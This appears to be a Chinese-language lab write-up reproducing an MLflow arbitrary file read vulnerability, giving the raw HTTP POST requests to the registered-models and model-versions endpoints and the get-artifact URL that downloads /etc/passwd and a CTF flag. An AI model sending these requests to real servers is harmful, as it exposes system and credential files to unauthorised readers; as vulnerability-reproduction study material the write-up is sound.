目录
前言
第二篇CVE漏洞复现文章,欢迎各位师傅评论区讨论。
漏洞复现
靶场网站如下图所示。
构造POC,先把一个文件上传到/ajax-api/2.0/mlflow/registered-models/create文件下,文件的名称随意,这里以testfile1为例,POC内容如下:
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Content-Length: 39
{"name": "testfile1"}
POC复制到burpsuite的重发器里面发送,Host参数改成靶机地址,响应报文状态码为200时表示此文件以创建。
然后在/ajax-api/2.0/mlflow/model-versions/create文件下上传需要读取的文件路径,POC如下所示,参数source用于指定要读取的文件所处的目录。
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Content-Length: 36
{"name": "testfile1", "source": "/etc"}
同样的,将Host参数改成靶机的网址后发送。
访问http://x.x.x.x/#/model-versions/get-artifact?path=passwd&name=testfile1&version=1即可下载对应文件。这里要注意参数path的值和name的值,path为已上传目录下的文件名,name为之前已上传的文件的名称。要访问/etc/passwd下的文件,path就设置为passwd,name设置为testfile1,如下图所示。
下载的文件直接用记事本打开,文件内容如下。
要读取根目录下的文件,只需要在/ajax-api/2.0/mlflow/model-versions/create文件下修改POST请求参数source的值为“/”即可。
后续步骤不再赘述,最后下载的flag内容如下。